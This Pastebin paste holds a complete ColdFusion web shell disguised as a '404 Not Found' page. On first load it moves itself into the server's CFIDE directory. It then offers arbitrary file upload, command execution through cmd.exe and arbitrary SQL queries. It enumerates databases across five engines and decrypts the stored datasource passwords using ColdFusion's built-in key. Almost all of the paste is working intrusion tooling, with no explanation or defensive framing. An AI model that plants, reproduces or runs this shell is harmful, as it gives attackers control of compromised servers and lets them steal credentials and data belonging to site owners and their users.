Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <cfsetting requesttimeout="9999999">
- <cfif right(GetCurrentTemplatePath(),3) is "txt">
- <cfif FileExists("#expandPath('/CFIDE')#/test.cfm")>
- <cffile action="delete" file="#expandPath('/CFIDE')#/test.cfm">
- </cfif>
- <cffile action="rename" source="#GetCurrentTemplatePath()#" destination="#expandPath('/CFIDE')#/test.cfm">
- </cfif>
- <html>
- <head>
- <title>404 Not Found</title>
- <script src="https://dase.googlecode.com/svn-history/r897/trunk/www/scripts/webtoolkit.base64.js" type="text/javascript"></script>
- </head>
- <body>
- <cfparam name="FORM.path" type="string" default="#expandPath(".")#\" />
- <h3>File Upload</h3>
- <cfif isDefined("fileUpload")>
- <cffile action="upload"
- fileField="fileUpload"
- destination="#FORM.path#"
- nameConflict="overwrite">
- <p>Thankyou, your file has been uploaded.</p>
- </cfif>
- <cfform enctype="multipart/form-data" method="post">
- <cfinput type="file" name="fileUpload" /><br>
- <cfinput type="text" name="path" size="50" value="#FORM.path#"><br>
- <cfinput type="submit" name="runupload" value="Upload File">
- </cfform>
- <h3>PATHES</h3>
- <cfset Roots=createObject("component", "CFIDE.componentutils.cfcexplorer").getComponentRoots()>
- <cfloop index="i" from="1" to="#ArrayLen(Roots)#">
- <cfif #Roots[i].prefix# eq "">
- <cfset Roots[i].prefix="web">
- </cfif>
- <cfset Roots[i].PHYSICALPATH=Replace(Roots[i].PHYSICALPATH,'/','\','All')>
- <CFOUTPUT><b>#Roots[i].prefix#</b>:#Roots[i].PHYSICALPATH#<br></CFOUTPUT>
- </cfloop>
- <cfset sys = createObject("java", "java.lang.System")>
- <cfif sys.getProperty("coldfusion.libPath") neq "">
- <cfset ConfPath=sys.getProperty("coldfusion.libPath")>
- <cfelse>
- <cfset ConfPath=Replace(sys.getProperty("derby.system.home"),'db','lib')>
- </cfif>
- <cfparam name="FORM.datasource" type="string" default="" />
- <cfparam name="FORM.server" type="string" default="127.0.0.1" />
- <cfparam name="FORM.query1" type="string" default="select user" />
- <cfparam name="FORM.query2" type="string" default="select user" />
- <cfparam name="FORM.user" type="string" default="sa" />
- <cfparam name="FORM.pass" type="string" default="" />
- <cfparam name="FORM.cmd" type="string" default="ver" />
- <h3>CMD</h3>
- <cfif IsDefined("FORM.runcmd")>
- <cfexecute name="cmd.exe" arguments="/c #cmd#" variable="data" timeout="999">
- </cfexecute>
- <textarea readonly cols=80 rows=20>
- <CFOUTPUT>#data#</CFOUTPUT>
- </textarea>
- </cfif>
- <cfform method="post">
- <cfinput type="text" size=45 name="cmd" value="#FORM.cmd#">
- <cfinput type="Submit" name="runcmd" value="run">
- </cfform>
- <h3>SQL CFM</h3>
- <cfform method="post" onSubmit="query1.value = Base64.encode(query1.value);">
- Datasource<br>
- <cffile action="READ" file="#ConfPath#/neo-datasource.xml" variable="usersRaw">
- <cfset usersXML = XmlParse(usersRaw)>
- <cfset advsXML = XmlSearch(usersXML, "/wddxPacket/data/array/struct/var/struct/var[@name='DRIVER' or @name='driver']" )>
- <cfset dataSourceObb = ArrayNew(1)>
- <cfset numUsers = ArrayLen(advsXML)>
- <cfloop index="i" from="1" to="#numUsers#">
- <cfset date_example = structNew()/>
- <cfset date_example.name = advsXML[i].XMLParent.XMLParent.XMLAttributes.name/>
- <cfset date_example.driver = advsXML[i].string.XmlText/>
- <cfset dataSourceObb[i] = date_example>
- </cfloop>
- <select name="datasource">
- <cfscript>
- for( i=1; i LTE ArrayLen( dataSourceObb ); i=i+1 )
- {
- if ("#FORM.datasource#" eq dataSourceObb[i].name) writeoutput('<option value="' & dataSourceObb[i].name & '" selected>' & dataSourceObb[i].name & '</option>');
- else writeoutput('<option value="' & dataSourceObb[i].name & '">' & dataSourceObb[i].name & '('& dataSourceObb[i].driver & ')' & '</option>');
- }
- </cfscript>
- </select>
- <cfif isdefined("form.runsql2")>
- <cfscript>
- FORM.query1 = ToString(BinaryDecode("#FORM.query1#" , "base64"));
- </cfscript>
- <cfquery name="sqlout" datasource="#Form.datasource#" timeout="99999999">#PreserveSingleQuotes(Form.query1)#</cfquery>
- <table border=1>
- <cfloop from="0" to="#sqlout.RecordCount#" index="row">
- <cfset intCount = 0 />
- <cfif row eq 0>
- <tr>
- <cfloop list="#sqlout.ColumnList#" index="column" delimiters=",">
- <th><cfoutput>#column#</cfoutput></th>
- </cfloop>
- </tr>
- <cfelse>
- <tr>
- <cfloop list="#sqlout.ColumnList#" index="column" delimiters=",">
- <td><cfoutput>#rereplace(sqlout[column][row],"\r\n|\n\r|\n|\r", " ", "all")#</cfoutput></td>
- </cfloop>
- </tr>
- </cfif>
- </cfloop>
- </table>
- </cfif>
- <cfif isdefined("form.tofile2")>
- <cfscript>
- FORM.query1 = ToString(BinaryDecode("#FORM.query1#" , "base64"));
- </cfscript>
- <cfquery name="sqlout" datasource="#Form.datasource#" timeout="99999999">#PreserveSingleQuotes(Form.query1)#</cfquery>
- <br>DONE</br>
- <table border=1>
- <cfloop from="0" to="#sqlout.RecordCount#" index="row">
- <cfif row eq 0>
- <cffile action="write" addNewLine="yes" file="#Form.sqloutput#" output="#sqlout.ColumnList#">
- <cfelse>
- <cfset myArray = ArrayNew(1)>
- <cfset i = 1 >
- <cfloop list="#sqlout.ColumnList#" index="column" delimiters=",">
- <cfset myArray[i]=TRIM(sqlout[column][row])>
- <cfset i = i + 1>
- </cfloop>
- <cffile action="append" addNewLine="yes" file="#Form.sqloutput#" output="#ArrayToList(myArray,',')#">
- </cfif>
- </cfloop>
- </table>
- </cfif>
- <br>Query<br>
- <cfinput type="Text" name="query1" size="50" value="#FORM.query1#"><br>
- <cfinput type=Submit name="runsql2" value="run"><br><br>
- <cfinput type="text" name="sqloutput" size="50" value="#FORM.path#sqlout.txt"><br>
- <cfinput type=Submit name="tofile2" value="tofile">
- </cfform>
- <h3>SQL SCTRUCT</h3>
- <cfform method="post">
- Datasource<br>
- <select name="datasource">
- <cfscript>
- for( i=1; i LTE ArrayLen( dataSourceObb ); i=i+1 )
- {
- if ("#FORM.datasource#" eq dataSourceObb[i].name) writeoutput('<option value="' & dataSourceObb[i].name & '" selected>' & dataSourceObb[i].name & '</option>');
- else writeoutput('<option value="' & dataSourceObb[i].name & '">' & dataSourceObb[i].name & '('& dataSourceObb[i].driver & ')' & '</option>');
- }
- </cfscript>
- </select>
- <cfinput type=Submit name="structure1" value="mssql"> <cfinput type=Submit name="structure2" value="mysql"> <cfinput type=Submit name="structure3" value="oracle"> <cfinput type=Submit name="structure4" value="informix"> <cfinput type=Submit name="structure5" value="postgre">
- </cfform>
- <cfif isdefined("form.structure1")>
- <cfset MyDSN = "#Form.datasource#">
- <cfquery name="databases" datasource="#MyDSN#" timeout="9999999">
- SELECT name as DATABASE_NAME FROM MASTER.dbo.sysdatabases WHERE name NOT IN ('master','msdb','tempdb')
- </cfquery>
- <cfloop query="databases">
- <cftry>
- <cfquery name="AllTables" datasource="#MyDSN#" timeout="9999999">
- SELECT [TableName] = so.name,[RowCount] = MAX(si.rows) FROM [#databases.DATABASE_NAME#]..sysobjects so, [#databases.DATABASE_NAME#]..sysindexes si WHERE so.xtype = char(85) AND si.id = OBJECT_ID(so.name) GROUP BY so.name ORDER BY 2 DESC
- </cfquery>
- <cfoutput><h3>======== #databases.DATABASE_NAME# ========</h3></cfoutput>
- <cfloop query="AllTables">
- <cfset intCount = 0 />
- <cfset myTable = #AllTables.TableName# />
- <cfquery name="ColumnsInTable" datasource="#MyDSN#" timeout="9999999">
- SELECT * FROM [#databases.DATABASE_NAME#].INFORMATION_SCHEMA.Columns WHERE TABLE_NAME = '#myTable#'
- </cfquery>
- <cfloop query="ColumnsInTable">
- <cfset intCount = intCount + 1>
- <cfset colArray[intCount]="#TRIM(COLUMN_NAME)#">
- </cfloop>
- <cfset myColumns = valueList(columnsInTable.column_name,'<br>')>
- <cfoutput><b>#myTable#</b> (#AllTables.RowCount#)<br>#myColumns#<br></cfoutput>
- </cfloop>
- <cfcatch type = "Database">
- </cfcatch>
- </cftry>
- </cfloop>
- </cfif>
- <cfif isdefined("form.structure2")>
- <cfset MyDSN = "#Form.datasource#">
- <cfquery name="databases" datasource="#MyDSN#" timeout="9999999">
- SELECT SCHEMA_NAME AS DATABASE_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME NOT IN('information_schema','mysql')
- </cfquery>
- <cfloop query="databases">
- <cftry>
- <cfquery name="AllTables" datasource="#MyDSN#" timeout="9999999">
- SELECT TABLE_NAME,TABLE_ROWS AS RowCount FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='#databases.DATABASE_NAME#' ORDER BY TABLE_ROWS DESC
- </cfquery>
- <cfoutput><h3>======== #databases.DATABASE_NAME# ========</h3></cfoutput>
- <cfloop query="AllTables">
- <cfset intCount = 0 />
- <cfset myTable = #AllTables.TABLE_NAME# />
- <cfquery name="ColumnsInTable" datasource="#MyDSN#" timeout="9999999">
- SELECT * FROM INFORMATION_SCHEMA.Columns WHERE TABLE_NAME = '#myTable#' AND TABLE_SCHEMA='#databases.DATABASE_NAME#'
- </cfquery>
- <cfloop query="ColumnsInTable">
- <cfset intCount = intCount + 1>
- <cfset colArray[intCount]="#TRIM(COLUMN_NAME)#">
- </cfloop>
- <cfset myColumns = valueList(columnsInTable.column_name,'<br>')>
- <cfoutput><b>#myTable#</b> (#AllTables.RowCount#)<br>#myColumns#<br></cfoutput>
- </cfloop>
- <cfcatch type = "Database">
- </cfcatch>
- </cftry>
- </cfloop>
- </cfif>
- <cfif isdefined("form.structure3")>
- <cfset MyDSN = "#Form.datasource#">
- <cfquery name="databases" datasource="#MyDSN#" timeout="9999999">
- select USERNAME AS DATABASE_NAME from SYS.ALL_USERS WHERE USERNAME not in ('SYSTEM','SYS') order by USERNAME
- </cfquery>
- <cfloop query="databases">
- <cftry>
- <cfquery name="AllTables" datasource="#MyDSN#" timeout="9999999">
- select TABLE_NAME,NUM_ROWS AS RowCount from SYS.ALL_TABLES WHERE OWNER='#databases.DATABASE_NAME#' order by NUM_ROWS DESC
- </cfquery>
- <cfoutput><h3>======== #databases.DATABASE_NAME# ========</h3></cfoutput>
- <cfloop query="AllTables">
- <cfset intCount = 0 />
- <cfset myTable = #AllTables.TABLE_NAME# />
- <cfquery name="ColumnsInTable" datasource="#MyDSN#" timeout="9999999">
- SELECT column_name from all_tab_columns where owner='#databases.DATABASE_NAME#' and TABLE_NAME = '#myTable#'
- </cfquery>
- <cfloop query="ColumnsInTable">
- <cfset intCount = intCount + 1>
- <cfset colArray[intCount]="#TRIM(COLUMN_NAME)#">
- </cfloop>
- <cfset myColumns = valueList(columnsInTable.column_name,'<br>')>
- <cfoutput><b>#myTable#</b> (#AllTables.RowCount#)<br>#myColumns#<br></cfoutput>
- </cfloop>
- <cfcatch type = "Database">
- </cfcatch>
- </cftry>
- </cfloop>
- </cfif>
- <cfif isdefined("form.structure4")>
- <cfset MyDSN = "#Form.datasource#">
- <cfquery name="databases" datasource="#MyDSN#" timeout="9999999">
- select distinct OWNER AS DATABASE_NAME from SYSTABLES
- </cfquery>
- <cfloop query="databases">
- <cftry>
- <cfquery name="AllTables" datasource="#MyDSN#" timeout="9999999">
- select TABNAME AS TABLE_NAME,NROWS AS RowCount,TABID from SYSTABLES WHERE OWNER='#databases.DATABASE_NAME#' order by NROWS DESC
- </cfquery>
- <cfoutput><h3>======== #databases.DATABASE_NAME# ========</h3></cfoutput>
- <cfloop query="AllTables">
- <cfset intCount = 0 />
- <cfset myTable = #AllTables.TABLE_NAME# />
- <cfquery name="ColumnsInTable" datasource="#MyDSN#" timeout="9999999">
- SELECT colname as column_name from SYSCOLUMNS where TABID = '#AllTables.TABID#'
- </cfquery>
- <cfloop query="ColumnsInTable">
- <cfset intCount = intCount + 1>
- <cfset colArray[intCount]="#TRIM(COLUMN_NAME)#">
- </cfloop>
- <cfset myColumns = valueList(columnsInTable.column_name,'<br>')>
- <cfoutput><b>#myTable#</b> (#AllTables.RowCount#)<br>#myColumns#<br></cfoutput>
- </cfloop>
- <cfcatch type = "Database">
- </cfcatch>
- </cftry>
- </cfloop>
- </cfif>
- <cfif isdefined("form.structure5")>
- <cfset MyDSN = "#Form.datasource#">
- <cfquery name="databases" datasource="#MyDSN#" timeout="9999999">
- SELECT SCHEMA_NAME AS DATABASE_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME NOT IN('pg_catalog','information_schema')
- </cfquery>
- <cfloop query="databases">
- <cftry>
- <cfquery name="AllTables" datasource="#MyDSN#" timeout="9999999">
- SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='#databases.DATABASE_NAME#'
- </cfquery>
- <cfoutput><h3>======== #databases.DATABASE_NAME# ========</h3></cfoutput>
- <cfloop query="AllTables">
- <cfset intCount = 0 />
- <cfset myTable = #AllTables.TABLE_NAME# />
- <cfquery name="ColumnsInTable" datasource="#MyDSN#" timeout="9999999">
- SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '#myTable#' AND TABLE_SCHEMA='#databases.DATABASE_NAME#'
- </cfquery>
- <cfquery name="CountInTable" datasource="#MyDSN#" timeout="9999999">
- SELECT count(*) as RowCount FROM "#databases.DATABASE_NAME#"."#myTable#"
- </cfquery>
- <cfloop query="ColumnsInTable">
- <cfset intCount = intCount + 1>
- <cfset colArray[intCount]="#TRIM(COLUMN_NAME)#">
- </cfloop>
- <cfset myColumns = valueList(columnsInTable.column_name,'<br>')>
- <cfoutput><b>#myTable#</b> (#CountInTable.RowCount#)<br>#myColumns#<br></cfoutput>
- </cfloop>
- <cfcatch type = "Database">
- <h1>Database Error</h1>
- </cfcatch>
- </cftry>
- </cfloop>
- </cfif>
- <h3>SQL JAVA</h3>
- <cfif IsDefined("FORM.decode")>
- <cffile action="READ" file="#ConfPath#/neo-datasource.xml" variable="usersRaw">
- <cfset usersXML = XmlParse(usersRaw)>
- <cfset advsXML = XmlSearch(usersXML, "/wddxPacket/data/array/struct/var/struct/var[@name='password' or @name='PASSWORD' or @name='username'or @name='USERNAME' or @name='url'or @name='URL' or @name='DRIVER' or @name='driver']" )>
- <cfset numUsers = ArrayLen(advsXML)>
- <cfloop index="i" from="1" to="#numUsers#">
- <cfif advsXML[i].XMLAttributes.name eq "password" AND advsXML[i].string.XmlText neq "">
- <cfset advsXML[i].string.XmlText=Decrypt(advsXML[i].string.XmlText,generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"), "DESede","Base64")>
- </cfif>
- <cfoutput>
- #advsXML[i].XMLParent.XMLParent.XMLAttributes.name#:#advsXML[i].XMLAttributes.name#:#advsXML[i].string.XmlText#<br>
- </cfoutput>
- </cfloop>
- </cfif>
- <cfform method="post">
- <cfinput type=Submit name="decode" value="decode"><br>
- </cfform>
- <cfform method="post" onSubmit="query2.value = Base64.encode(query2.value);">
- Server<br>
- <cfinput type="Text" name="server" size="50" value="#FORM.server#"><br>
- User<br>
- <cfinput type="Text" name="user" size="50" value="#FORM.user#"><br>
- Pass<br>
- <cfinput type="Text" name="pass" size="50" value="#FORM.pass#"><br>
- <cfif IsDefined("FORM.runsql")>
- <cfscript>
- FORM.query2 = ToString(BinaryDecode("#FORM.query2#" , "base64"));
- </cfscript>
- <cfoutput>
- #FORM.query2#
- </cfoutput>
- <cfscript>
- classLoader = createObject("java", "java.lang.Class");
- classLoader.forName("sun.jdbc.odbc.JdbcOdbcDriver");
- dm = createObject("java","java.sql.DriverManager");
- con = dm.getConnection("jdbc:odbc:DRIVER={SQL Server};Database=master;Server=#FORM.server#","#FORM.user#","#FORM.pass#");
- st = con.createStatement();
- rs = st.ExecuteQuery(#FORM.query2#);
- q = createObject("java", "coldfusion.sql.QueryTable").init(rs);
- </cfscript>
- <cfdump var="#q#">
- </cfif>
- Query<br>
- <cfinput type="Text" name="query2" size="50" value="#FORM.query2#"><br>
- <cfinput type=Submit name="runsql" value="run">
- </cfform>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement